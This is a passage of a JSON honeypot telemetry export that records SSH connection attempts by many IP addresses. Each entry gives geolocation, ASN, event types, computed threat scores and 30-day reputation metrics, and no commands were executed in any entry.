      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T23:32:21.690000+00:00",
        "last_seen_30d": "2026-05-04T23:34:08.790000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 4
      }
    },
    "23.175.128.210": {
      "attack_count": 6,
      "first_seen": "2026-05-23T11:09:34.534Z",
      "last_seen": "2026-05-23T11:13:47.415Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Virden",
      "asn": 46920,
      "as_org": "RF Now Inc.",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:09:34.534000+00:00",
        "last_seen_30d": "2026-05-23T11:15:00.509000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "66.132.195.62": {
      "attack_count": 6,
      "first_seen": "2026-05-29T02:33:50.847Z",
      "last_seen": "2026-05-29T02:34:26.873Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 30,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T06:45:15.856000+00:00",
        "last_seen_30d": "2026-05-31T03:39:15.651000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Honeytrap": 39,
        "ElasticPot": 8,
        "Miniprint": 7,
        "Cowrie": 6,
        "Dionaea": 3,
        "ConPot": 2
      }
    },
    "185.220.101.188": {
      "attack_count": 5,
      "first_seen": "2026-05-23T23:51:08.078Z",
      "last_seen": "2026-05-23T23:51:19.858Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "supports"
      ],
      "passwords_attempted": [
        "z@3t4rf1fin0"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg an der Havel",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 46.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.2,
        "persistence": 13.3,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 16,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-09T18:48:10.773000+00:00",
        "last_seen_30d": "2026-05-24T01:25:53.826000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "H0neytr4p": 11,
        "Ciscoasa": 5,
        "Cowrie": 5
      }
    },
    "101.53.233.87": {
      "attack_count": 4,
      "first_seen": "2026-05-29T01:30:15.756Z",
      "last_seen": "2026-05-29T01:30:41.195Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T01:30:15.756000+00:00",
        "last_seen_30d": "2026-05-29T01:31:50.722000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "171.114.230.59": {
      "attack_count": 4,
      "first_seen": "2026-05-18T21:50:43.316Z",
      "last_seen": "2026-05-18T21:51:22.530Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:50:43.316000+00:00",
        "last_seen_30d": "2026-05-18T21:52:32.177000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "198.235.24.105": {
      "attack_count": 4,
      "first_seen": "2026-05-08T16:06:07.298Z",
      "last_seen": "2026-05-08T16:06:10.717Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 77.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.7,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 27,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T04:02:48.200000+00:00",
        "last_seen_30d": "2026-05-29T02:11:29.462000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 28,
        "Cowrie": 4,
        "ConPot": 3
      }
    },
    "198.235.24.95": {
      "attack_count": 4,
      "first_seen": "2026-05-14T22:08:03.443Z",
      "last_seen": "2026-05-14T22:08:07.166Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 66.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.3,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 22,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-06T18:58:16+00:00",
        "last_seen_30d": "2026-05-27T21:03:28.145000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 44,
        "Honeytrap": 17,
        "Cowrie": 4,
        "Dionaea": 2
      }
    },
    "66.240.192.82": {
      "attack_count": 4,
      "first_seen": "2026-05-08T11:14:09.489Z",
      "last_seen": "2026-05-08T11:14:10.305Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 73.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.4,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 69,
        "days_active_30d": 24,
        "ports_targeted_30d": 50,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-06T12:00:24.818000+00:00",
        "last_seen_30d": "2026-05-29T23:32:29.877000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Cowrie": 4,
        "Dionaea": 2,
        "H0neytr4p": 1
      }
    },
    "104.152.52.214": {
      "attack_count": 3,
      "first_seen": "2026-05-29T04:44:41.477Z",
      "last_seen": "2026-05-29T04:44:41.482Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 35.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-20T04:13:35.421000+00:00",
        "last_seen_30d": "2026-05-29T04:45:44.790000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 3,
        "Dionaea": 3
      }
    },
    "101.109.195.70": {
      "attack_count": 2,
      "first_seen": "2026-05-05T04:09:12.373Z",
      "last_seen": "2026-05-05T04:09:25.091Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:09:12.373000+00:00",
        "last_seen_30d": "2026-05-05T04:10:28.301000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "101.66.20.217": {
      "attack_count": 2,
      "first_seen": "2026-05-23T03:01:47.857Z",
      "last_seen": "2026-05-23T03:02:20.474Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T03:01:47.857000+00:00",
        "last_seen_30d": "2026-05-23T03:03:30.605000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.112.214.119": {
      "attack_count": 2,
      "first_seen": "2026-05-21T23:56:17.229Z",
      "last_seen": "2026-05-21T23:56:30.734Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137172,
      "as_org": "ALL CONNECT NETWORK SERVICES PRIVATE LIMITED",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T23:56:17.229000+00:00",
        "last_seen_30d": "2026-05-21T23:57:40.152000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.219.174.98": {
      "attack_count": 2,
      "first_seen": "2026-05-09T11:45:09.655Z",
      "last_seen": "2026-05-09T11:45:22.691Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T11:45:09.655000+00:00",
        "last_seen_30d": "2026-05-09T11:46:28.168000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.221.96.249": {
      "attack_count": 2,
      "first_seen": "2026-05-23T12:59:37.925Z",
      "last_seen": "2026-05-23T13:00:17.686Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T12:59:37.925000+00:00",
        "last_seen_30d": "2026-05-23T13:01:26.974000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.212.72.164": {
      "attack_count": 2,
      "first_seen": "2026-05-30T03:22:26.128Z",
      "last_seen": "2026-05-30T03:22:38.827Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T03:22:26.128000+00:00",
        "last_seen_30d": "2026-05-30T03:23:41.776000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.242.152.17": {
      "attack_count": 2,
      "first_seen": "2026-05-30T19:25:20.063Z",
      "last_seen": "2026-05-30T19:25:50.741Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T19:25:20.063000+00:00",
        "last_seen_30d": "2026-05-30T19:26:58.121000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "119.98.102.162": {
      "attack_count": 2,
      "first_seen": "2026-05-23T11:39:38.575Z",
      "last_seen": "2026-05-23T11:40:33.643Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:39:38.575000+00:00",
        "last_seen_30d": "2026-05-23T11:41:39.959000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.148.171.200": {
      "attack_count": 2,
      "first_seen": "2026-05-09T19:06:59.896Z",
      "last_seen": "2026-05-09T19:07:13.030Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T19:06:59.896000+00:00",
        "last_seen_30d": "2026-05-09T19:08:19.141000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.185.120.193": {
      "attack_count": 2,
      "first_seen": "2026-05-14T13:09:18.400Z",
      "last_seen": "2026-05-14T13:09:48.927Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Asan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T13:09:18.400000+00:00",
        "last_seen_30d": "2026-05-14T13:10:49.263000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "122.234.81.196": {
      "attack_count": 2,
      "first_seen": "2026-05-18T15:44:52.680Z",
      "last_seen": "2026-05-18T15:45:05.840Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T15:44:52.680000+00:00",
        "last_seen_30d": "2026-05-18T15:46:10.177000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.13.48.23": {
      "attack_count": 2,
      "first_seen": "2026-05-16T11:54:08.309Z",
      "last_seen": "2026-05-16T11:54:20.453Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T11:54:08.309000+00:00",
        "last_seen_30d": "2026-05-16T11:55:25.406000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "128.65.1.225": {
      "attack_count": 2,
      "first_seen": "2026-05-05T14:09:21.713Z",
      "last_seen": "2026-05-05T14:09:34.585Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Vitebsk",
      "asn": 42772,
      "as_org": "Unitary enterprise A1",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T14:09:21.713000+00:00",
        "last_seen_30d": "2026-05-05T14:10:40.716000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.121.105.174": {
      "attack_count": 2,
      "first_seen": "2026-05-20T07:50:55.488Z",
      "last_seen": "2026-05-20T07:51:00.840Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Jun\u00edn",
      "asn": 263790,
      "as_org": "RED POWER INTERNET SRL",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T07:50:55.488000+00:00",
        "last_seen_30d": "2026-05-20T07:52:08.090000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "161.81.121.232": {
      "attack_count": 2,
      "first_seen": "2026-05-22T16:45:38.842Z",
      "last_seen": "2026-05-22T16:45:52.187Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9231,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T16:45:38.842000+00:00",
        "last_seen_30d": "2026-05-22T16:46:52.525000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.212.12.133": {
      "attack_count": 2,
      "first_seen": "2026-05-31T15:28:30.257Z",
      "last_seen": "2026-05-31T15:29:01.761Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Chinch'\u014fn",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T15:28:30.257000+00:00",
        "last_seen_30d": "2026-05-31T15:30:07.496000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "175.8.60.146": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:30:39.379Z",
      "last_seen": "2026-05-23T01:31:13.268Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:30:39.379000+00:00",
        "last_seen_30d": "2026-05-23T01:32:18.411000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.65.148.93": {
      "attack_count": 2,
      "first_seen": "2026-05-25T21:49:42.180Z",
      "last_seen": "2026-05-25T21:50:12.294Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 9.2,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 11,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T08:44:56.236000+00:00",
        "last_seen_30d": "2026-05-26T09:41:03.425000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 2
      }
    },
    "179.24.175.245": {
      "attack_count": 2,
      "first_seen": "2026-05-11T14:08:00.383Z",
      "last_seen": "2026-05-11T14:08:13.794Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
